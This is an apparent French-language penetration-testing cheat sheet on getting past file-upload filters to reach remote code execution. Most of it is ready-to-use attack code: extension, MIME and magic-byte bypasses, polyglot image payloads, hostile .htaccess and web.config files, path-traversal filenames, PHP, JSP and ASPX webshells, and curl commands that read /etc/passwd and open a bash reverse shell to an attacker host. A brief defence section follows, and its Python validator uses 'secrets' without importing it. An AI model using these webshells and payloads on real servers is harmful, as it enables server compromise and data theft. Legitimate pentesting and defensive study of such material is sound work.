---
title: "File Upload Bypass"
domain: security
subdomain: pentest
phase: 04-exploitation
type: snippet
tags: [file-upload, webshell, rce, mime-type, magic-bytes, path-traversal, pentest]
difficulty: advanced
status: stable
updated: "2026-05-14"
---
## Objectif

```
Uploader un fichier exécutable (webshell PHP, JSP, ASPX) malgré les filtres
→ Exécution de code côté serveur (RCE)

Filtres courants :
  - Validation de l'extension (.php interdit)
  - Validation du Content-Type (image/jpeg attendu)
  - Validation des magic bytes (signature binaire du fichier)
  - Rename du fichier à l'upload
  - Stockage hors webroot
```

---

## Bypass — Extension

```bash
# Extensions alternatives PHP (si .php est filtré)
shell.php3   shell.php4   shell.php5   shell.php7
shell.phtml  shell.pht    shell.shtml  shell.phar

# Extensions doubles
shell.php.jpg   shell.php%00.jpg   shell.php.
shell.php.      shell.php%20

# Null byte truncation (PHP < 5.3 et certains systèmes)
# shell.php%00.jpg → le serveur lit "shell.php" et ignore le reste

# Casse mixte (si blacklist insensible à la casse)
shell.PHP    shell.Php    shell.pHp

# Extensions ASP/ASPX
shell.asp   shell.aspx   shell.asa   shell.asax   shell.ashx   shell.asmx

# JSP
shell.jsp   shell.jspx   shell.jsw   shell.jsv
```

---

## Bypass — Content-Type (MIME)

```bash
# Intercepter avec Burp et modifier le Content-Type
# Changer : application/octet-stream → image/jpeg (ou image/png, image/gif)

# Requête originale :
# Content-Disposition: form-data; name="file"; filename="shell.php"
# Content-Type: application/octet-stream

# Requête modifiée :
# Content-Disposition: form-data; name="file"; filename="shell.php"
# Content-Type: image/jpeg

# Curl avec Content-Type forgé
curl -X POST https://{{TARGET}}/upload \
  -H "Cookie: session={{SESSION}}" \
  -F "file=@shell.php;type=image/jpeg"
```

---

## Bypass — Magic Bytes (signature de fichier)

```bash
# Ajouter la signature GIF au début du fichier PHP
echo -e 'GIF89a\n<?php system($_GET["cmd"]); ?>' > shell.php.gif
# → Magic bytes GIF (47 49 46 38 39 61) + code PHP

# Signature JPEG
printf '\xff\xd8\xff\xe0' > shell.php
echo '<?php system($_GET["cmd"]); ?>' >> shell.php
# Renommer shell.php.jpg si nécessaire + Content-Type: image/jpeg

# Image valide + code PHP (exiftool)
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image_legitime.jpg
cp image_legitime.jpg shell.php.jpg
# → L'image est valide, le code PHP est dans les métadonnées EXIF

# Créer une vraie image GIF avec code PHP
python3 << 'EOF'
gif_header = b"GIF89a\x01\x00\x01\x00\x00\xff\x00,"
gif_header += b"\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00;"
php_payload = b"<?php system($_GET['cmd']); ?>"
with open('shell.gif.php', 'wb') as f:
    f.write(gif_header + php_payload)
EOF
```

---

## Bypass — .htaccess / web.config

```bash
# Si on peut uploader un .htaccess, redéfinir les handlers Apache
cat > .htaccess << 'EOF'
AddType application/x-httpd-php .jpg
# → tous les .jpg sont maintenant exécutés comme PHP
EOF

# Uploader .htaccess puis une image légitime (shell.jpg) avec code PHP
# Accéder à /uploads/shell.jpg → exécution PHP

# IIS — web.config
cat > web.config << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
  <system.webServer>
    <handlers accessPolicy="Read, Script, Write">
      <add name="web_config" path="*.config" verb="*" modules="IsapiModule"
        scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" />
    </handlers>
    <security><requestFiltering><fileExtensions><remove fileExtension=".config" /></fileExtensions></requestFiltering></security>
  </system.webServer>
</configuration>
<%@ Language=VBScript %>
<%  Response.Write "Shell: " & CreateObject("WScript.Shell").Exec("whoami").StdOut.ReadAll %>
EOF
```

---

## Bypass — Path Traversal dans le nom de fichier

```bash
# Nom de fichier avec traversal : uploader dans un répertoire différent
# filename="../../shell.php"
# filename="../shell.php"
# filename="..%2Fshell.php"

# Via Burp — modifier le filename dans le form-data
# Content-Disposition: form-data; name="file"; filename="..%2F..%2Fshell.php"

# Cible : répertoire webroot si uploads est hors webroot
# ex: uploads/ est /var/www/uploads/ mais webroot est /var/www/html/
# → filename="../../html/shell.php"
```

---

## Webshells courants

```php
<?php system($_GET['cmd']); ?>

<?php echo shell_exec($_REQUEST['c']); ?>

<?php @eval($_POST['pass']); ?>

<?php
$cmd = $_REQUEST['cmd'];
$output = array();
exec($cmd, $output);
echo implode("\n", $output);
?>
```

```jsp
<!-- JSP webshell -->
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

<%
  String cmd = request.getParameter("cmd");
  Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",cmd});
  out.println(new java.util.Scanner(p.getInputStream()).useDelimiter("\\A").next());
%>
```

```aspx
<!-- ASPX webshell -->
<%@ Page Language="C#" %>
<%
  string cmd = Request.QueryString["cmd"];
  System.Diagnostics.Process p = new System.Diagnostics.Process();
  p.StartInfo.FileName = "cmd.exe";
  p.StartInfo.Arguments = "/c " + cmd;
  p.StartInfo.UseShellExecute = false;
  p.StartInfo.RedirectStandardOutput = true;
  p.Start();
  Response.Write(p.StandardOutput.ReadToEnd());
%>
```

---

## Exécution et post-upload

```bash
# Trouver l'URL du fichier uploadé
# Souvent dans la réponse JSON ou un header Location
# Tester : /uploads/shell.php, /files/shell.php, /media/shell.php

# Exécuter une commande
curl "https://{{TARGET}}/uploads/shell.php?cmd=id"
curl "https://{{TARGET}}/uploads/shell.php?cmd=whoami"
curl "https://{{TARGET}}/uploads/shell.php?cmd=cat+/etc/passwd"

# Reverse shell via la webshell
curl "https://{{TARGET}}/uploads/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/{{LHOST}}/{{LPORT}}+0>%261'"

# Listener
nc -lvnp {{LPORT}}
```

---

## Défense

```python
# Validation stricte côté serveur (Python)
import magic    # python-magic — vérifie les magic bytes réels
import os

ALLOWED_MIME_TYPES = {'image/jpeg', 'image/png', 'image/gif', 'image/webp'}
ALLOWED_EXTENSIONS = {'.jpg', '.jpeg', '.png', '.gif', '.webp'}
MAX_SIZE = 5 * 1024 * 1024  # 5 MB

def validate_upload(file) -> None:
    # 1. Vérifier la taille
    file.seek(0, 2)
    if file.tell() > MAX_SIZE:
        raise ValueError("Fichier trop grand")
    file.seek(0)

    # 2. Vérifier les magic bytes réels (pas le Content-Type du client)
    mime = magic.from_buffer(file.read(2048), mime=True)
    if mime not in ALLOWED_MIME_TYPES:
        raise ValueError(f"Type MIME non autorisé: {mime}")
    file.seek(0)

    # 3. Vérifier l'extension (double couche)
    ext = os.path.splitext(file.filename)[1].lower()
    if ext not in ALLOWED_EXTENSIONS:
        raise ValueError(f"Extension non autorisée: {ext}")

    # 4. Renommer le fichier avec un nom aléatoire
    safe_name = secrets.token_hex(16) + ext
    return safe_name
```

```nginx
# Nginx — bloquer l'exécution dans le dossier uploads
location /uploads/ {
    # Désactiver l'exécution de scripts dans ce dossier
    location ~ \.(php|php3|phtml|phar|pl|cgi|py|asp|aspx|jsp)$ {
        deny all;
        return 403;
    }
}
```

```
Mesures complémentaires :
  ✓ Stocker les uploads HORS du webroot
  ✓ Servir les fichiers via un endpoint dédié (pas d'accès URL direct)
  ✓ Reprocesser les images (re-encode via PIL/Pillow → efface les métadonnées et code injecté)
  ✓ Renommer tous les fichiers uploadés (UUID aléatoire)
  ✓ Désactiver l'exécution PHP/CGI dans le dossier uploads
  ✓ Utiliser un CDN ou bucket S3 pour servir les fichiers (pas d'exécution possible)
```

<Warning>
La validation côté client (JavaScript, accept="image/*") n'offre aucune sécurité — elle est bypassable en 5 secondes avec Burp. La validation MIME via Content-Type (fourni par le client) est également insuffisante. Seule la validation des magic bytes côté serveur avec une librairie comme `python-magic` (libmagic) est fiable.
</Warning>
